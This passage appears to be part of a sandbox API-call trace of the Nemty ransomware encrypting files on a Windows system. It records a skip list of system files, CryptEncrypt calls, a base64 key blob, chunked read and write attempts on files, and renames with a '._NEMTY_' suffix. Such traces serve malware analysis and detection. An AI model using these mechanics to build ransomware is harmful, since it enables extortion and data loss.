(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0059.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.862] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png._nemty_kgobjgd_")) returned 0 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0059.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0059.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.863] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="..") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="...") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="windows") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="rsa") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="ntldr") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="MSDOS.SYS") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="IO.SYS") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="desktop.ini") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="CONFIG.SYS") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="programdata") returned -1 [0059.863] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="appdata") returned 1 [0059.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0059.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 24 [0059.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0059.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0059.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 24 [0059.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0059.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0059.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 24 [0059.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0059.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_ButtonGraphic.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 24 [0059.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0059.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0059.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0059.864] Sleep (dwMilliseconds=0x5) [0059.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd75521f0, dwHighDateTime=0x1d561e7)) [0059.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd75521f0, dwHighDateTime=0x1d561e7)) [0059.870] GetLastError () returned 0x5 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.871] GetLastError () returned 0x5 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.871] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0059.871] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0059.871] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0059.871] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="ex6yAlwC+7Sw/avFPSeTUFYHI95v5j1yW7wqa1/PxyH+1ivUVXLgmWxD/tIi2cK1\r\ngp/AFpCj9mjX9CW+jRLTKe+j5fVHDwRv7EWNbQHE1oVHqLCwAyT3MrAwgXWSmH39\r\nbMSrfkdG/PExeNBn4v/OvkVHfinEkJXwGM7vEylEA2GTOL1m3bluywWYbm0IwTla\r\nTo7edE0SB4+1foxDLzMtuH7Tu35J+jlPHy/TZ0pqgGqpcaox/ZfKFO/biLsDeKQJ\r\notjmD1IwmIV87ZCpya+qJt3JRZ0BTnrXTE7/9LdvCpAAL1SsVDVm8u5o14fl/SeW\r\nDOfFqmMyXeX8O00t7oXUjg==\r\n", pcchString=0x653ec5c) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0059.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0059.871] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.871] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0059.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0059.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0059.982] CloseHandle (hObject=0xffffffff) returned 0 [0059.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0059.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0059.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.982] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0059.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.983] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | 